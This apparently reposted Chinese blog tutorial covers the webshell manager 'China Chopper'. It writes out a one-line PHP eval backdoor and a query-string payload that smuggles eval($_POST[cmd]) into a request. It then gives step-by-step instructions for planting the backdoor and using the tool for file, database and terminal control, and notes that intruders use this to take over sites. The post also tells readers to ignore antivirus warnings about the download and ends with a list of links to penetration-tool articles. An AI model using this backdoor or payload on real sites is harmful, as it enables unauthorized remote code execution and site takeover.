中國(guó)菜刀的功能介紹和使用方法(黑站利器與后門利用測(cè)試工具)
我要評(píng)論中國(guó)菜刀，一個(gè)非常好用而又強(qiáng)大的webshell，它可不是用來切菜的做飯的道具哦，是一款專業(yè)的網(wǎng)站管理軟件，大小只有300多KB，真是小巧實(shí)用啊！不過被不法分子利用到，就是一個(gè)黑站的利器了。我記得以前接觸的時(shí)候摸索了好久才會(huì)用，哈哈。。后來領(lǐng)悟之后才發(fā)現(xiàn)并不難操作，同時(shí)功能也比我想象的要強(qiáng)大。
注：?jiǎn)为?dú)的菜刀沒有效果，需要服務(wù)器端有一句話后門，或漏洞，例如這樣的
http://127.0.0.1:89/mingfang/index.php?q=${${@eval%28$_POST[cmd]%29}}
配置圖：
1.中國(guó)菜刀支持的服務(wù)端腳本：PHP、ASP、asp.net；
2.主要功能有：文件管理（有足夠的權(quán)限時(shí)候可以管理整個(gè)磁盤/文件系統(tǒng)），數(shù)據(jù)庫(kù)管理，虛擬終端。
3.菜刀的工作原理是：利用上傳到服務(wù)器的一句話腳本再通過一些添加配置就可以工作了。
今天我只介紹PHP的方法（其他的大同小異）。
首先：我們首先要新建一個(gè)php文件，文件名隨意取，然后寫入一句代碼：
<?php eval($_POST['ee']); ?>
；eval()這個(gè)函數(shù)大家并不陌生吧，就是把里面的字符串作為PHP代碼執(zhí)行。最后把這個(gè)文件保存，上傳到你站點(diǎn)里面，可以是根目錄，也可以是其他，都行的。如下圖：
第二步：打開菜刀這個(gè)軟件，進(jìn)入如下界面，右鍵點(diǎn)擊“添加”；如下圖：
第三步：此時(shí)會(huì)彈出一個(gè)添加shell的對(duì)話框，由圖一看出我的 “dxr.php”上傳在站點(diǎn)根目錄，所以這里的地址填為：http://localhost/dxr.php 。地址后面的小框框里面的“ee”就是你的“口令”，也就是
<?php eval($_POST['ee']); ?>
這里的“ee”。下面配置項(xiàng)如果你知道用戶名密碼就填，不知道，不填，也不會(huì)影響文件管理和虛擬終端這兩個(gè)功能，只是不能查看數(shù)據(jù)庫(kù)了。
最后：點(diǎn)擊“添加”按鈕，成功后就會(huì)產(chǎn)生一條新的記錄，鼠標(biāo)右鍵點(diǎn)擊就可以進(jìn)行操作了，如下圖，可以進(jìn)行文件管理，數(shù)據(jù)庫(kù)管理，虛擬終端。哈哈...大功告成??！
所以很多黑站者利用一些網(wǎng)站漏洞，上傳一句話木馬后，就基本上可以黑下你的站了。中國(guó)菜刀，就是這么強(qiáng)大??！
操作效果截圖一：
操作效果截圖二：
操作效果截圖三：
菜刀下載：http://m.fzitv.net/softs/163997.html
終于寫完了，喜歡的話就支持一下哦，代瀟瑞博客，專注于PHP學(xué)習(xí)??！
最后說明一下：此軟件打開時(shí)殺毒軟件可能會(huì)報(bào)毒的，我已經(jīng)用了很多遍，反正都沒事。如果你不相信的話，也就不用下載了，呵呵。
原文參考：http://www.daixiaorui.com/read/17.html
相關(guān)文章
SQLMap簡(jiǎn)介及簡(jiǎn)單應(yīng)用實(shí)例圖文詳解
一個(gè)自動(dòng)化的SQL注入工具，其主要功能是掃描、發(fā)現(xiàn)并利用給定URL的SQL注入漏洞，內(nèi)置了很多繞過插件，支持的數(shù)據(jù)庫(kù)是MySQL 、Oracle 、PostgreSQL 、Microsoft SQL Server2023-02-04- Nmap是一款網(wǎng)絡(luò)掃描和主機(jī)檢測(cè)的非常有用的工具。Nmap是不局限于僅僅收集信息和枚舉，同時(shí)可以用來作為一個(gè)漏洞探測(cè)器或安全掃描器。它可以適用于winodws,linux,mac等操作2019-03-16
SQLMAP注入檢查方法 11種常見SQLMAP使用方法詳解
sqlmap也是滲透中常用的一個(gè)注入工具，其實(shí)在注入工具方面，很多人都是通過這個(gè)工具實(shí)施的檢測(cè)與注入，對(duì)于我們從事安全防御的人來說，一定要引起注意，一般的程序員寫的代2018-08-16- 這篇文章主要介紹了lcx用法之心得總結(jié),需要的朋友可以參考下2017-09-06
lcx端口轉(zhuǎn)發(fā)詳細(xì)介紹及使用方法(lcx內(nèi)網(wǎng)轉(zhuǎn)發(fā)姿勢(shì))
這篇文章主要介紹了lcx端口轉(zhuǎn)發(fā)詳細(xì)介紹及使用方法(lcx內(nèi)網(wǎng)轉(zhuǎn)發(fā)姿勢(shì)),需要的朋友可以參考下2017-09-06- 這是我們的Nmap備忘單的第四部分，本文中我們將討論更多東西關(guān)于掃描防火墻，IDS / IPS 逃逸，Web服務(wù)器滲透測(cè)試等。在此之前，我們應(yīng)該了解一下防火墻的一些基礎(chǔ)知識(shí)以便2016-12-27
- 眾所周知NMAP是經(jīng)常用來進(jìn)行端口發(fā)現(xiàn)、端口識(shí)別。除此之外我們還可以通過NMAP的NSE腳本做很多事情，比如郵件指紋識(shí)別，檢索WHOIS記錄，使用UDP服務(wù)等2016-12-27
- 這是我們的第二期NMAP備忘單，基本上,我們將討論一些高級(jí)NMAP掃描的技術(shù)，我們將進(jìn)行一個(gè)中間人攻擊(MITM)。現(xiàn)在，游戲開始了2016-12-27
- nmap是一個(gè)網(wǎng)絡(luò)連接端掃描軟件，用來掃描網(wǎng)上電腦開放的網(wǎng)絡(luò)連接端。確定哪些服務(wù)運(yùn)行在哪些連接端，并且推斷計(jì)算機(jī)運(yùn)行哪個(gè)操作系統(tǒng)（這是亦稱 fingerprinting）。它是網(wǎng)2016-12-27
網(wǎng)絡(luò)漏洞掃描工具Acunetix Web Vulnerability Scanner(AWVS)使用介紹
Acunetix Web Vulnerability Scanner（簡(jiǎn)稱AWVS）是一款知名的網(wǎng)絡(luò)漏洞掃描工具，它通過網(wǎng)絡(luò)爬蟲測(cè)試你的網(wǎng)站安全，檢測(cè)流行安全漏洞。倫敦時(shí)間2015年6月24日，官方發(fā)布了2016-09-28
